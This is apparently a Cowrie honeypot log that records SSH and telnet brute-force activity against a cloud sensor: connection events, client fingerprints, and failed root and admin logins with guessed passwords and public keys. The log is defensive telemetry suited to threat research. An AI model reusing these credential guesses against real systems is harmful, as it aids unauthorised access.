{"eventid":"cowrie.client.kex","hassh":"2aec6b44b06bec95d73f66b5d30cb69a","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2aec6b44b06bec95d73f66b5d30cb69a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:39:37.989288Z","src_ip":"68.183.65.32","session":"50516345e904","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":46994,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b736a4cb5c5","protocol":"telnet","message":"New connection: 103.153.183.192:46994 (10.17.0.5:23) [session: 6b736a4cb5c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:39:48.964045Z"}
{"eventid":"cowrie.session.closed","duration":"20.0","message":"Connection lost after 20.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:39:57.903667Z","src_ip":"68.183.65.32","session":"50516345e904","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":48297,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdd54efdee0d","protocol":"ssh","message":"New connection: 193.24.211.100:48297 (159.203.135.109:22) [session: cdd54efdee0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:40:59.502078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:40:59.516837Z","src_ip":"193.24.211.100","session":"cdd54efdee0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:40:59.621642Z","src_ip":"193.24.211.100","session":"cdd54efdee0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"huigu309","message":"login attempt [admin/huigu309] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:41:00.101162Z","src_ip":"193.24.211.100","session":"cdd54efdee0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:41:01.355216Z","src_ip":"193.24.211.100","session":"cdd54efdee0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":46974,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c2fc8f98221","protocol":"ssh","message":"New connection: 103.15.226.202:46974 (10.17.0.5:22) [session: 8c2fc8f98221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:41:33.472081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:41:33.476954Z","src_ip":"103.15.226.202","session":"8c2fc8f98221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:41:33.716426Z","src_ip":"103.15.226.202","session":"8c2fc8f98221","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc@1234","message":"login attempt [root/Abc@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:41:34.432822Z","src_ip":"103.15.226.202","session":"8c2fc8f98221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:41:35.673881Z","src_ip":"103.15.226.202","session":"8c2fc8f98221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01230835914612,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:41:48.976247Z","src_ip":"103.153.183.192","session":"6b736a4cb5c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"84.111.224.103","src_port":36882,"dst_ip":"10.17.0.5","dst_port":23,"session":"a45e33f4d535","protocol":"telnet","message":"New connection: 84.111.224.103:36882 (10.17.0.5:23) [session: a45e33f4d535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:41:51.366983Z"}
{"eventid":"cowrie.session.closed","duration":13.175259113311768,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:42:04.542153Z","src_ip":"84.111.224.103","session":"a45e33f4d535","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.244.81.120","src_port":40268,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4a5ab5aae92","protocol":"ssh","message":"New connection: 162.244.81.120:40268 (10.17.0.5:22) [session: b4a5ab5aae92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:42:38.211606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:42:38.216572Z","src_ip":"162.244.81.120","session":"b4a5ab5aae92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:42:38.228361Z","src_ip":"162.244.81.120","session":"b4a5ab5aae92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:e0:eb:b4:77:11:70:c9:ae:58:cb:da:53:e9:f9:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDhsqW/GkFxNnM4qZsHZeyA/g/IdFPvIAzOxs/xQ/cHY/n0kKTb/heo2UHOKVIh8WvfjEHdXJVE7CK2sIiN/4bgPMSMoSdcT4ijjvVJuu+4BXr2zijj5FH0sKd/gUjqtwYcFhGzdqapIJSHpGyouKN7Sxz4RAtIm/stkfmDkyIXgt+VhoV8+sFD9mIQrP+sJ0qJcckmf1N8GtR1Bl/dHNWsvh0P4mdZHHK38KBAmYo7OcevckY9+mT/Vx01TyDoppaXAPO3igGeNDdsRb9c5VsPED4NoqqfDs8jjOQf5QQx2H0ubgcPvztb3CgVK4TGMY/tMFbXxA88jBzafm3Jg1F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:e0:eb:b4:77:11:70:c9:ae:58:cb:da:53:e9:f9:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:42:38.246426Z","src_ip":"162.244.81.120","session":"b4a5ab5aae92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:e0:eb:b4:77:11:70:c9:ae:58:cb:da:53:e9:f9:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDhsqW/GkFxNnM4qZsHZeyA/g/IdFPvIAzOxs/xQ/cHY/n0kKTb/heo2UHOKVIh8WvfjEHdXJVE7CK2sIiN/4bgPMSMoSdcT4ijjvVJuu+4BXr2zijj5FH0sKd/gUjqtwYcFhGzdqapIJSHpGyouKN7Sxz4RAtIm/stkfmDkyIXgt+VhoV8+sFD9mIQrP+sJ0qJcckmf1N8GtR1Bl/dHNWsvh0P4mdZHHK38KBAmYo7OcevckY9+mT/Vx01TyDoppaXAPO3igGeNDdsRb9c5VsPED4NoqqfDs8jjOQf5QQx2H0ubgcPvztb3CgVK4TGMY/tMFbXxA88jBzafm3Jg1F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:42:38.250285Z","src_ip":"162.244.81.120","session":"b4a5ab5aae92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:3c:f6:00:89:3f:ec:6d:f6:d6:6b:39:fe:61:66:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCh0SORpJf38c06uu+dohh4XplUYWpyOR5LA7zQ1DX4yUtzh4DDfgkBxftftaadNM14kJypl41qx73qEqVwBhyGTftWDOB8ZtiPvJjcubYKM7CZp+BzMXp5kT2WfKo6h10zg/y7KjimCdwtJbO1jeGd0vuoEgvvwrZb9hgVahkmYKpvC1aiQv3Sd+HEYF+fOLyvuuBXD555PhKuTBuuVr6rW6NE33aQpG1Qcsn3lGHGKAzbTxipU3sNrU5NFCICM970b+7BGBPyt7X4MQvlqgkzxfRNGJwy4051e9j/T+BlIFYH8rEMwPcLlzeiiGraIstv18LCJClhfowVwnrS1E/N","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:3c:f6:00:89:3f:ec:6d:f6:d6:6b:39:fe:61:66:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:42:38.260269Z","src_ip":"162.244.81.120","session":"b4a5ab5aae92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:3c:f6:00:89:3f:ec:6d:f6:d6:6b:39:fe:61:66:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCh0SORpJf38c06uu+dohh4XplUYWpyOR5LA7zQ1DX4yUtzh4DDfgkBxftftaadNM14kJypl41qx73qEqVwBhyGTftWDOB8ZtiPvJjcubYKM7CZp+BzMXp5kT2WfKo6h10zg/y7KjimCdwtJbO1jeGd0vuoEgvvwrZb9hgVahkmYKpvC1aiQv3Sd+HEYF+fOLyvuuBXD555PhKuTBuuVr6rW6NE33aQpG1Qcsn3lGHGKAzbTxipU3sNrU5NFCICM970b+7BGBPyt7X4MQvlqgkzxfRNGJwy4051e9j/T+BlIFYH8rEMwPcLlzeiiGraIstv18LCJClhfowVwnrS1E/N","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:42:38.264351Z","src_ip":"162.244.81.120","session":"b4a5ab5aae92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:a5:e4:14:af:9d:44:8e:ea:33:b6:1d:22:c5:b9:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPFDQvxixP/IPPHe3uXNQoY/vwQkqwhVH2ZPoMLo9PuBtbZ2hEcn5AV99FXevkN4E5XqWsGK9zKzkaAHA/+7g3Bfq9lnBNML3MOZVd0bU3yihmDNIRIN/TMQHojjrp04C505oEkgkHoiLKdPStWPx9+m6RwzdA0oo6gBwOad83nVZRkNN1DVlfwW4DvoytbaU9STuJhNZgO6naN9zVIGroJumeH9cHOnWbV+K1Fp6+xAiWVYMxyuqRFb9ZSwYMK1H/dEO0pW14fGdarQpzDGQi0cikldLZW/BkOUky1Xs5IlQogHFcK0gYHUJOJRqcBEdnceGajnKGNm4Wa6xG0bxh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:a5:e4:14:af:9d:44:8e:ea:33:b6:1d:22:c5:b9:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:42:38.272437Z","src_ip":"162.244.81.120","session":"b4a5ab5aae92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:a5:e4:14:af:9d:44:8e:ea:33:b6:1d:22:c5:b9:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPFDQvxixP/IPPHe3uXNQoY/vwQkqwhVH2ZPoMLo9PuBtbZ2hEcn5AV99FXevkN4E5XqWsGK9zKzkaAHA/+7g3Bfq9lnBNML3MOZVd0bU3yihmDNIRIN/TMQHojjrp04C505oEkgkHoiLKdPStWPx9+m6RwzdA0oo6gBwOad83nVZRkNN1DVlfwW4DvoytbaU9STuJhNZgO6naN9zVIGroJumeH9cHOnWbV+K1Fp6+xAiWVYMxyuqRFb9ZSwYMK1H/dEO0pW14fGdarQpzDGQi0cikldLZW/BkOUky1Xs5IlQogHFcK0gYHUJOJRqcBEdnceGajnKGNm4Wa6xG0bxh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:42:38.278024Z","src_ip":"162.244.81.120","session":"b4a5ab5aae92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:dc:c2:f5:cc:ec:e1:b2:d1:50:81:73:18:f0:6c:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2mPCkbPB9Lq//+ItWW3MFa+5MTVg8At/xjC+Y1Pl4DAHo+50ZGJDUtVSCi2ogjHyNFuYaWMYxWZ+PqZy9Q6ZRGv557lx2sn7gFjyeaPojghWQGhlwRq6yBy5nDxaFCLczYXfbxerUvjwDUZlWy4KVVTSi8V1dwHQxpIVZ8h6P5u5wlKqHkfelLBNdaoIAs/UnukWOxloV2D8LROmCyx+VkHFm+xDHmCH50Ka9X9kUtoeyTPSCVVLI+QzWk5UpPtaPi95uiTom5yDO3P49cjUM4huhRIGrLayKA2kD1JjkN71p6AHgVpcegZi3VFo10d6hYqsUvzKG8ZkZSItjsyAR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:dc:c2:f5:cc:ec:e1:b2:d1:50:81:73:18:f0:6c:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:42:38.288583Z","src_ip":"162.244.81.120","session":"b4a5ab5aae92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:dc:c2:f5:cc:ec:e1:b2:d1:50:81:73:18:f0:6c:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2mPCkbPB9Lq//+ItWW3MFa+5MTVg8At/xjC+Y1Pl4DAHo+50ZGJDUtVSCi2ogjHyNFuYaWMYxWZ+PqZy9Q6ZRGv557lx2sn7gFjyeaPojghWQGhlwRq6yBy5nDxaFCLczYXfbxerUvjwDUZlWy4KVVTSi8V1dwHQxpIVZ8h6P5u5wlKqHkfelLBNdaoIAs/UnukWOxloV2D8LROmCyx+VkHFm+xDHmCH50Ka9X9kUtoeyTPSCVVLI+QzWk5UpPtaPi95uiTom5yDO3P49cjUM4huhRIGrLayKA2kD1JjkN71p6AHgVpcegZi3VFo10d6hYqsUvzKG8ZkZSItjsyAR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:42:38.293254Z","src_ip":"162.244.81.120","session":"b4a5ab5aae92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:23:ae:c0:25:44:20:d1:dc:37:1b:aa:28:24:2e:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC07pUPSFUhWssqpBDIjxdz+ZgXbN9JimDHppcezQIhnEyepXVWCdZLlelCUwPnOHFxwFT8sKctYRWwt4MoSZJlPGJV8eo1mQXKjr19V5jMx7UippFzIX7+RyDswpR7ZSmYcumNFw2tOr7dN1Diz7V+pa2HGKkeEzt/Mv07VwYBsEJKRmQNkscmHNb4TZGxkZL+16f4eN6NG5kT+cpns4U3p8xZVo/vSjcPYavHZIZbJ591rz2yXuX2ty4vM2WNrFYLhgeYmw9wfHUwQNKl8HFZgifqhzCkAZzN0jZg3mBVXfg+CPMByk0mrBI1DwNczx4vTui/1qmt0GhZua40+M6YKyYFYyom4g4DNRz/VSLxIQpgmhqxfnoubgBD/FvNwza/rKpvk9cCf6M5b1iz7w7Q2qjcExqC2u2dUkaBvdxpT7x+iawOE0GInGjnuNSgRzCcwkFZpYpXIH7Ux3QlyUOi8gQUTWEdPH7XKjGEbC1xjxbuhXpk4t5Zl9q235YT1GTu2LaGw1rKg8nUpTfXEt311EIQphMdg74as1UIxf04pOsIrzfJm+bpC1d2mYdCN0nOx/yqmRSehx7xiYEIXbbBjgi/xgcAoG+6QGp6gSzvg0RpiXkJBcj74YWPKllV45NLZ7g1S1RORMNYZRKpL4UVytam0uUImb3MYXrkscOKpw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:23:ae:c0:25:44:20:d1:dc:37:1b:aa:28:24:2e:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:42:38.302284Z","src_ip":"162.244.81.120","session":"b4a5ab5aae92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:23:ae:c0:25:44:20:d1:dc:37:1b:aa:28:24:2e:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC07pUPSFUhWssqpBDIjxdz+ZgXbN9JimDHppcezQIhnEyepXVWCdZLlelCUwPnOHFxwFT8sKctYRWwt4MoSZJlPGJV8eo1mQXKjr19V5jMx7UippFzIX7+RyDswpR7ZSmYcumNFw2tOr7dN1Diz7V+pa2HGKkeEzt/Mv07VwYBsEJKRmQNkscmHNb4TZGxkZL+16f4eN6NG5kT+cpns4U3p8xZVo/vSjcPYavHZIZbJ591rz2yXuX2ty4vM2WNrFYLhgeYmw9wfHUwQNKl8HFZgifqhzCkAZzN0jZg3mBVXfg+CPMByk0mrBI1DwNczx4vTui/1qmt0GhZua40+M6YKyYFYyom4g4DNRz/VSLxIQpgmhqxfnoubgBD/FvNwza/rKpvk9cCf6M5b1iz7w7Q2qjcExqC2u2dUkaBvdxpT7x+iawOE0GInGjnuNSgRzCcwkFZpYpXIH7Ux3QlyUOi8gQUTWEdPH7XKjGEbC1xjxbuhXpk4t5Zl9q235YT1GTu2LaGw1rKg8nUpTfXEt311EIQphMdg74as1UIxf04pOsIrzfJm+bpC1d2mYdCN0nOx/yqmRSehx7xiYEIXbbBjgi/xgcAoG+6QGp6gSzvg0RpiXkJBcj74YWPKllV45NLZ7g1S1RORMNYZRKpL4UVytam0uUImb3MYXrkscOKpw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:42:38.306968Z","src_ip":"162.244.81.120","session":"b4a5ab5aae92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:42:38.314995Z","src_ip":"162.244.81.120","session":"b4a5ab5aae92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":36506,"dst_ip":"10.17.0.5","dst_port":22,"session":"19d5a313f677","protocol":"ssh","message":"New connection: 176.65.132.190:36506 (10.17.0.5:22) [session: 19d5a313f677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:43:00.542523Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:43:00.548856Z","src_ip":"176.65.132.190","session":"19d5a313f677","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":33278,"dst_ip":"10.17.0.5","dst_port":22,"session":"82a5676fbacd","protocol":"ssh","message":"New connection: 103.15.226.202:33278 (10.17.0.5:22) [session: 82a5676fbacd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:45:09.398227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:45:09.403717Z","src_ip":"103.15.226.202","session":"82a5676fbacd","protocol":"ssh"}
